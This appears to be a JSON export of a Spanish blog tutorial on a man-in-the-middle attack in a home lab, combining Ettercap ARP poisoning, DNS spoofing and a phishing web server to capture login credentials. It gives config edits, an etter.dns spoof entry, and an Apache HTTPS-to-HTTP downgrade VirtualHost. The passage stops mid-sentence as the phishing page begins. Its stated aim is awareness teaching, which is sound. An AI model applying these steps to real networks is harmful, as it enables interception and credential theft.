{"id":444,"date":"2019-01-19T18:11:34","date_gmt":"2019-01-19T17:11:34","guid":{"rendered":"https:\/\/tiraquelibras.com\/blog\/?p=444"},"modified":"2019-12-26T17:00:44","modified_gmt":"2019-12-26T16:00:44","slug":"obtener-credenciales-con-arp-poisoning-y-dns-spoofing","status":"publish","type":"post","link":"https:\/\/blog.tiraquelibras.com\/?p=444","title":{"rendered":"Man In The Middle con Ettercap para HTTP\/HTTPS"},"content":{"rendered":"<p><span style=\"color: #ff0000;\"><strong>Esta entrada ha sido creada \u00fanicamente con fines educativos, nunca para su uso il\u00edcito. Se pretende explicar el funcionamiento de ataques Man In The Middle y la importancia concienciar a las personas para identificar un enga\u00f1o que pretenda robar informaci\u00f3n sensible, como las credenciales de usuario.<\/strong><\/span><\/p>\n<p>Recientemente he estado buscando la manera de poder capturar el tr\u00e1fico que un usuario genera desde su equipo a trav\u00e9s de una conexi\u00f3n segura <strong><em>HTTPS<\/em><\/strong>, t\u00e9cnicas de <span style=\"text-decoration: underline;\"><em><strong>Sniffing<\/strong> <\/em>en un mismo segmento de red o Man In The Middle (MITM)<\/span>, pero no tuve \u00e9xito alguno con todos los m\u00e9todos probados:<\/p>\n<ul>\n<li>Ettercap + SSLStrip + Delorean, junto a t\u00e9cnicas de ARP Poisoning.<\/li>\n<li>Bettercap, instalando las gemas en Ruby que precisa.<\/li>\n<\/ul>\n<p>Ninguno de estos m\u00e9todos me funcion\u00f3, a pesar de encontrar multitud de tutoriales en Internet en donde lo hacen sin complicaci\u00f3n alguna. Posiblemente los mecanismos de seguridad en los servicios web utilizados durante las pruebas detecten este tipo de ataques haci\u00e9ndolos in\u00fatiles, como comprobar el protocolo para evitar el env\u00edo de datos desde el cliente con mecanismos de JavaScript, por ejemplo. Incluso hubo un caso en el que estaba saliendo todo a las mil maravillas contra un peri\u00f3dico local cuando de repente me llev\u00e9 una sorpresa al ver que la contrase\u00f1a era encriptada en el cliente y se transmit\u00eda ya codificada.<\/p>\n<p>Por este motivo me decanto por otro tipo mecanismo en el que se usa:<\/p>\n<ul>\n<li>Ettercap + desarrollo de p\u00e1gina web, junto a t\u00e9cnicas de Phishing combinadas con ARP Poisoning y DNS Spoofing.<\/li>\n<\/ul>\n<p>Este m\u00e9todo precisa tener conocimientos de HTML, CSS y PHP para construir una p\u00e1gina de Phishing aceptable y agregarle funciones de almacenamiento bien en base de datos o ficheros de texto.<\/p>\n<p>En esta entrada <strong>no<\/strong> vamos a explicar como programar en estos lenguajes. Nosotros usaremos los citados, pero pueden utilizarse otros como Python, Frameworks como DJango, PHP Cake, Codeigniter, &#8230;<\/p>\n<p>Vamos al l\u00edo!!!!!<\/p>\n<hr \/>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_76 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Tabla de contenidos<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a0093215527d\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a0093215527d\"  aria-label=\"Alternar\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-1 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Laboratorio\"  rel=\"nofollow\" target=\"_blank\">Laboratorio<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-2 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Tecnicas\"  rel=\"nofollow\" target=\"_blank\">T\u00e9cnicas<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-3 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Ataque\"  rel=\"nofollow\" target=\"_blank\">Ataque<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Configuraciones_previas\"  rel=\"nofollow\" target=\"_blank\">Configuraciones previas<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Descubrimiento_de_hosts\"  rel=\"nofollow\" target=\"_blank\">Descubrimiento de hosts<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#ARP_Poisoning\"  rel=\"nofollow\" target=\"_blank\">ARP Poisoning<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#DNS_Spoofing\"  rel=\"nofollow\" target=\"_blank\">DNS Spoofing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Arranque_servidor_web\"  rel=\"nofollow\" target=\"_blank\">Arranque servidor web<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#%C2%BFHTTPS_o_HTTPS-%3EHTTP\"  rel=\"nofollow\" target=\"_blank\">\u00bfHTTPS o HTTPS-&gt;HTTP?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#HTTPS\"  rel=\"nofollow\" target=\"_blank\">HTTPS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#HTTPS_-%3E_HTTP\"  rel=\"nofollow\" target=\"_blank\">HTTPS -&gt; HTTP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#CONSIDERACIONES\"  rel=\"nofollow\" target=\"_blank\">CONSIDERACIONES<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Comprobacion\"  rel=\"nofollow\" target=\"_blank\">Comprobaci\u00f3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Phishing\"  rel=\"nofollow\" target=\"_blank\">Phishing<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Ejemplo_sencillo\"  rel=\"nofollow\" target=\"_blank\">Ejemplo sencillo<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Ejemplo_complejo\"  rel=\"nofollow\" target=\"_blank\">Ejemplo complejo<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Parar_el_ataque\"  rel=\"nofollow\" target=\"_blank\">Parar el ataque<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-18 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Conclusion\"  rel=\"nofollow\" target=\"_blank\">Conclusi\u00f3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-19 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\/#Enlaces\"  rel=\"nofollow\" target=\"_blank\">Enlaces<\/a><\/li><\/ul><\/nav><\/div>\n<h1><span class=\"ez-toc-section\" id=\"Laboratorio\"><\/span>Laboratorio<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Vamos a realizar esta prueba en una <em><strong>LAN<\/strong> <\/em>con los siguientes equipos:<\/p>\n<ul>\n<li>GateWay (GW) en la IP 192.168.0.1<\/li>\n<li>Host v\u00edctima con Xubuntu 18.04.1 LTS instalado en la IP 192.168.0.32<\/li>\n<li>Host atacante con Parrot 4.5 instalado en la IP 192.168.0.23<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-446 size-large\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/ARP-DNS-Spoofing-Lab-1024x346.jpg\" alt=\"\" width=\"1024\" height=\"346\" \/><\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"Tecnicas\"><\/span>T\u00e9cnicas<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Se van a emplear varias t\u00e9cnicas para capturar el tr\u00e1fico:<\/p>\n<ul>\n<li><strong>ARP Poisoning<\/strong>, o envenenamiento de las tablas ARP del GW y V\u00edctima, con el fin de que todo el tr\u00e1fico pase por el equipo atacante.<\/li>\n<li><strong>DNS Spoofing<\/strong>, para modificar las consultas que la v\u00edctima vaya a hacer, con el fin de cambiar la IP del servidor destino cuando intente navegar a determinadas URLs.<\/li>\n<li><strong>Phishing<\/strong>, tendremos que crear la suplantaci\u00f3n a las p\u00e1ginas objetivo del ataque para enga\u00f1ar a la v\u00edctima y obtener sus datos.<\/li>\n<li><strong>Servidor web<\/strong>, en nuestro caso usaremos Apache2 que ya viene instalado en la distribuci\u00f3n utilizada como equipo atacante.<\/li>\n<\/ul>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"Ataque\"><\/span>Ataque<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<h2><span class=\"ez-toc-section\" id=\"Configuraciones_previas\"><\/span>Configuraciones previas<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Para lanzar este ataque de tipo <strong><em>Man In The Middle<\/em><\/strong>\u00a0vamos a utilizar el programa <em><strong>Ettercap<\/strong><\/em>, pero primero debemos de\u00a0realizar un par de cambios en sus archivos e configuraci\u00f3n.<\/p>\n<p>Editamos el archivos <strong><em>\/etc\/ettercap\/etter.conf<\/em><\/strong> y realizamos los siguientes cambios:<\/p>\n<ul>\n<li>Cambiamos el valor de las siguientes l\u00edneas a 0:<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">[privs]\r\nec_uid = 0                # nobody is the default\r\nec_gid = 0                # nobody is the default<\/pre>\n<ul>\n<li>Descomentamos las siguientes l\u00edneas, sobre todo si usamos el FW del sistema <em><strong>IPTABLES<\/strong><\/em>.<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\"># if you use iptables:\r\n   redir_command_on = \"iptables -t nat -A PREROUTING -i %iface -p tcp --dport %$\r\n   redir_command_off = \"iptables -t nat -D PREROUTING -i %iface -p tcp --dport $<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"Descubrimiento_de_hosts\"><\/span>Descubrimiento de hosts<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Para descubrir los hosts y lanzar los ataques contra la tabla ARP y las consultas DNS usamos el programa <em><strong>Ettercap<\/strong><\/em>.<\/p>\n<p>Lo arrancamos en modo gr\u00e1fico con el siguiente comando:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ettercap -G<\/pre>\n<p>Siendo el siguiente su resultado:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\u250c\u2500[root@parrot]\u2500[\/etc\/ettercap]\r\n\u2514\u2500\u2500\u257c #ettercap -G\r\n\r\nettercap 0.8.2 copyright 2001-2015 Ettercap Development Team\r\n\r\nGtk-Message: 13:15:47.888: Failed to load module \"atk-bridge\"\r\n<\/pre>\n<p>Se inicia la interfaz gr\u00e1fica. Recordar no cerrar la l\u00ednea de comandos anterior ya que cerrar\u00edamos el programa.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-449 size-medium\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/ettercap-300x221.jpg\" alt=\"\" width=\"300\" height=\"221\" \/><\/p>\n<p>Iniciamos el ataque en el men\u00fa <strong><em>Sniff -&gt; Unified sniffing&#8230;<\/em><\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-450 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/unifiedSniffing.jpg\" alt=\"\" width=\"288\" height=\"168\" \/><\/p>\n<p>Indicamos la tarjeta de red que vamos a utilizar para capturar el tr\u00e1fico, en nuestro caso es la <strong><em>eth0<\/em><\/strong>. Deber\u00e1s de consultar como se nombra en tu sistema con el comando <em><strong>ifconfig<\/strong><\/em>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-451\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/unifiedSniffing-eth.jpg\" alt=\"\" width=\"402\" height=\"159\" \/><\/p>\n<p>Descubrimos los hosts a los que tiene acceso el equipo atacante dentro de la LAN. Para ello vamos a la secci\u00f3n <em><strong>Hosts -&gt; Hosts list<\/strong><\/em>, y posteriormente lanzamos el escaneo dentro de la LAN para descubrir nuevos equipos dese <strong><em>Hosts -&gt; Scan for hosts<\/em><\/strong>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-452\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/hostsList.jpg\" alt=\"\" width=\"254\" height=\"206\" \/><\/p>\n<p>Finalmente obtenemos el listado de equipos en la LAN, en donde vemos el GW y el equipo de la v\u00edctima.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-453\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/hostsListFinal.jpg\" alt=\"\" width=\"461\" height=\"398\" \/><\/p>\n<p>Ahora Seleccionamos los objetivos, siendo el primero el equipo v\u00edctima.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-454 \" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/target1.jpg\" alt=\"\" width=\"637\" height=\"429\" \/><\/p>\n<p>Y segundo el GW.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-455\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/target2.jpg\" alt=\"\" width=\"642\" height=\"430\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"ARP_Poisoning\"><\/span>ARP Poisoning<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Lanzamos el tipo de ataque para el envenenamiento de la tabla ARP, o <strong><em>ARP Poisoning<\/em><\/strong>. Lo hacemos desde el men\u00fa <em><strong>Mitm -&gt; ARP posining&#8230;<\/strong><\/em><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-456\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/arpPoisoning.jpg\" alt=\"\" width=\"249\" height=\"244\" \/><\/p>\n<p>Y especificamos que se capture todo el tr\u00e1fico de las conexiones remotas.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-457\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/arpPoisoningSniffing.jpg\" alt=\"\" width=\"330\" height=\"200\" \/><\/p>\n<p>En la consola del programa se muestra el listado de v\u00edctimas del ataque.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-458\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/arpPoisoningVictims.jpg\" alt=\"\" width=\"315\" height=\"183\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"DNS_Spoofing\"><\/span>DNS Spoofing<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Para aplicar este ataque primero debemos de configurar los destinos de las URLs a los que queremos redirigir cuando la v\u00edctima navega por ellos. Por ejemplo, el portal de este blog para iniciar sesi\u00f3n\u00a0<strong><em>tiraquelibras.com<\/em><\/strong>. Para ello editamos el archivo <em><strong>\/etc\/ettercap\/etter.dns<\/strong><\/em> y agregamos las entradas que necesitemos apuntando a la IP del host atacante:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">###############################\r\n# Phishing del blog\r\n#\r\n\r\ntiraquelibras.com  A       192.168.0.23<\/pre>\n<p>De esta manera, cuando el usuario navege a<em><strong> tiraquelibras.com<\/strong><\/em> le redirigimos hacia el equipo atacante en lugar de hacia el servidor leg\u00edtimo.<\/p>\n<p>Ahora iniciamos el plugin de<strong><em> DNS spoofing<\/em><\/strong> para <em><strong>Ettercap<\/strong> <\/em>desde el men\u00fa <strong><em>Plugins -&gt; Manage the plugins<\/em><\/strong>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-459\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/managePlugins.jpg\" alt=\"\" width=\"294\" height=\"104\" \/><\/p>\n<p>Seleccionamos el plugin <em><strong>dns_spoof<\/strong> <\/em>y lo activamos haciendo doble click.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-461\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/managePluginsDNS.jpg\" alt=\"\" width=\"475\" height=\"261\" \/><\/p>\n<p>En la consola se informa de que el plugin ha sido cargado.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-460\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/managePluginsConsole.jpg\" alt=\"\" width=\"235\" height=\"82\" \/><\/p>\n<p>En estos momentos podemos parar y arrancar el ataque en cualquier momento desde el men\u00fa <em><strong>Start<\/strong><\/em>. Recomiendo solo arrancarlo cuando se vaya a realizar, para as\u00ed evitar problemas en el GW o en el host de la v\u00edctima.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-465\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/ettercapStopStart.jpg\" alt=\"\" width=\"276\" height=\"160\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Arranque_servidor_web\"><\/span>Arranque servidor web<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Arrancamos el servidor web <em><strong>Apache2<\/strong><\/em>, en nuestro caso, aunque te valdr\u00eda cualquier otro.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">service apache2 start<\/pre>\n<p>Confirmamos que est\u00e1 correctamente arrancado.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">service apache2 status\r\n\u25cf apache2.service - The Apache HTTP Server\r\n   Loaded: loaded (\/lib\/systemd\/system\/apache2.service; disabled; vendor preset:\r\n   Active: active (running) since Sat 2019-01-19 13:53:43 CET; 3s ago\r\n  Process: 2701 ExecStart=\/usr\/sbin\/apachectl start (code=exited, status=0\/SUCCE\r\n Main PID: 2705 (apache2)\r\n    Tasks: 6 (limit: 3535)\r\n   Memory: 11.7M\r\n   CGroup: \/system.slice\/apache2.service\r\n           \u251c\u25002705 \/usr\/sbin\/apache2 -k start\r\n           \u251c\u25002707 \/usr\/sbin\/apache2 -k start\r\n           \u251c\u25002708 \/usr\/sbin\/apache2 -k start\r\n           \u251c\u25002709 \/usr\/sbin\/apache2 -k start\r\n           \u251c\u25002710 \/usr\/sbin\/apache2 -k start\r\n           \u2514\u25002711 \/usr\/sbin\/apache2 -k start\r\n\r\nene 19 13:53:43 parrot systemd[1]: Starting The Apache HTTP Server...\r\nene 19 13:53:43 parrot apachectl[2701]: AH00558: apache2: Could not reliably det\r\nene 19 13:53:43 parrot systemd[1]: Started The Apache HTTP Server.\r\n<\/pre>\n<p>Ahora cualquier consulta al DNS que hayamos indicado en el ataque ser\u00e1 enviado al directorio web de nuestro servidor, en nuestro caso <strong><em>\/var\/www\/html<\/em><\/strong>.<\/p>\n<p>Si precisas configurar el servidor web para distintos dominios, y as\u00ed poder disponer de distintos tipos de Phishing alojados en el host atacante, debes de buscar la informaci\u00f3n para configurar <em><strong>Virtual Host<\/strong> <\/em>en tu servidor web. Aqu\u00ed te dejo el enlace para la configuraci\u00f3n de nuestro Apache2 pinchando <a href=\"https:\/\/www.digitalocean.com\/community\/tutorials\/como-configurar-virtual-hosts-de-apache-en-ubuntu-16-04-es\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%C2%BFHTTPS_o_HTTPS-%3EHTTP\"><\/span>\u00bfHTTPS o HTTPS-&gt;HTTP?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong><span style=\"color: #ff0000;\">ACTUALIZACI\u00d3N 21\/01\/2019.<\/span><\/strong><\/p>\n<p>Si el usuario accede a la URL que queremos suplantar pude hacerlo directamente desde el protocolo <em><strong>HTTPS<\/strong><\/em> en su navegador (a mano o por cach\u00e9). Esto fallar\u00eda al establecer la conexi\u00f3n con nuestra p\u00e1gina falsa, ya que la tenemos configurado bajo\u00a0<em><strong>HTTP<\/strong><\/em>.<\/p>\n<p>Podemos optar por dos opciones, lo m\u00e1s transparentes para el usuario:<\/p>\n<h3 style=\"padding-left: 30px;\"><span class=\"ez-toc-section\" id=\"HTTPS\"><\/span>HTTPS<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>Configurar nuestro servidor web para que el dominio responda a trav\u00e9s del protocolo seguro <strong><em>HTTPS<\/em><\/strong>, lo que conlleva el generar un certificado autofirmado (c\u00f3mo generar certificados autofirmados pincha <a href=\"https:\/\/blog.tiraquelibras.com\/?p=135\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>). Esta opci\u00f3n <span style=\"text-decoration: underline;\">no la recomiendo<\/span> porque el propio navegador nos delatar\u00eda al informar de la desconfianza en el emisor del certificado instalado, y si el usuario se da cuenta de esto cortar\u00e1 inmediatamente la conexi\u00f3n si est\u00e1 lo suficientemente concienciado con el problema.<\/li>\n<\/ul>\n<h3 style=\"padding-left: 30px;\"><span class=\"ez-toc-section\" id=\"HTTPS_-%3E_HTTP\"><\/span>HTTPS -&gt; HTTP<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>Redirigir la conexi\u00f3n <em><strong>HTTPS<\/strong> <\/em>hacia <em><strong>HTTP<\/strong> <\/em>en nuestro servidor web. Para esto debemos de configurar el <em><strong>Virtual Host<\/strong> <\/em>en nuestro servidor, configurar la conexi\u00f3n al puerto <strong><em>443<\/em> <\/strong>para el dominio a suplantar, con un certificado autofirmado (c\u00f3mo generar certificados autofirmados pincha <a href=\"https:\/\/blog.tiraquelibras.com\/?p=135\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>) para el dominio a suplantar y hacer la redirecci\u00f3n al puerto no seguro en el puerto <strong><em>80<\/em><\/strong>. El c\u00f3digo de ejemplo ser\u00eda el siguiente:<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">&lt;VirtualHost *:443&gt;\r\n\r\n    ServerName tiraquelibras.com\r\n\r\n\r\n    Redirect permanent \/ http:\/\/tiraquelibras.com\/\r\n\r\n    SSLEngine on\r\n    SSLCertificateFile \/etc\/apache2\/ssl\/domain.crt\r\n    SSLCertificateKeyFile \/etc\/apache2\/ssl\/domain.key\r\n\r\n\u00a0\u00a0\u00a0\u00a0#\u00a0Otras\u00a0directivas\u00a0a\u00a0partir\u00a0de\u00a0aqu\u00ed\r\n&lt;\/VirtualHost&gt;\r\n\r\n&lt;VirtualHost\u00a0*:80&gt;\r\n\u00a0\u00a0\u00a0\u00a0DocumentRoot\u00a0\"\/var\/www\/html\"\r\n\u00a0\u00a0\u00a0\u00a0ServerName\u00a0tiraquelibras.com\r\n\r\n\u00a0\u00a0\u00a0\u00a0#\u00a0Otras directivas a partir de aqu\u00ed\r\n\r\n&lt;\/VirtualHost&gt;<\/pre>\n<h3 style=\"padding-left: 30px;\"><span class=\"ez-toc-section\" id=\"CONSIDERACIONES\"><\/span>CONSIDERACIONES<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>La redirecci\u00f3n del protocolo seguro <em><strong>HTTPS<\/strong> <\/em>al <strong><em>HTTP<\/em><\/strong>\u00a0con el uso de un certificado autofirmado mostrar\u00e1 una advertencia de desconfianza sobre este en el navegador, ya que la entidad emisora no es de confianza, antes de aplicar el cambio de protocolo. Este mensaje no se puede evitar, por lo que ante esta situaci\u00f3n el ataque ser\u00e1 efectivo si el usuario acepta la advertencia y continua con la navegaci\u00f3n. De lo contrario, habremos sido descubiertos.<\/p>\n<p>Si la navegaci\u00f3n se inicia desde el protocolo no seguro <em><strong>HTTP<\/strong><\/em>\u00a0no se mostrar\u00e1 error alguno desde el navegador.<\/p>\n<p>No recomiendo el uso de <em><strong>SSLStrip<\/strong> <\/em>en esta prueba, ya que estar\u00edamos redirigiendo todo el tr\u00e1fico <em><strong>HTPPS<\/strong><\/em> manteni\u00e9ndolo bajo\u00a0<em><strong>HTTP<\/strong><\/em>, y pudiendo delatarnos al acceder a alguna p\u00e1gina con mecanismos de protecci\u00f3n ante esta t\u00e9cnica, como Facebook o Paypal, por ejemplo.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Comprobacion\"><\/span>Comprobaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Podemos comprobar como funciona el <em><strong>DNS Spoofing<\/strong><\/em>\u00a0desde el host de la v\u00edctima lanzando un ping al dominio suplantado.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">sergio@Xubuntu-VirtualBox:~$ ping tiraquelibras.com\r\nPING tiraquelibras.com (192.168.0.23) 56(84) bytes of data.\r\n64 bytes from www.microsoft.com (192.168.0.23): icmp_seq=1 ttl=64 time=1.73 ms\r\n64 bytes from www.microsoft.com (192.168.0.23): icmp_seq=2 ttl=64 time=0.427 ms\r\n64 bytes from www.microsoft.com (192.168.0.23): icmp_seq=3 ttl=64 time=0.446 ms\r\n<\/pre>\n<p>Vemos como la IP es desviada al host atacante.<\/p>\n<p>En la consola del <em><strong>Ettercat<\/strong><\/em>\u00a0tambi\u00e9n podemos verlo.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-467\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/dnsSpoofed.jpg\" alt=\"\" width=\"393\" height=\"97\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Phishing\"><\/span>Phishing<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>En este momento debemos de tener la p\u00e1gina de Phishing para la suplantaci\u00f3n de identidad alojada en el directorio web que hayamos configurado en nuestro servidor web.<\/p>\n<p>Vamos a ver dos ejemplos, uno sencillo para confirmar que todo funciona correctamente y otro m\u00e1s complejo en donde veremos la captura de los datos introducidos por el usuario.<\/p>\n<h3 style=\"padding-left: 30px;\"><span class=\"ez-toc-section\" id=\"Ejemplo_sencillo\"><\/span>Ejemplo sencillo<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Creamos un archivo 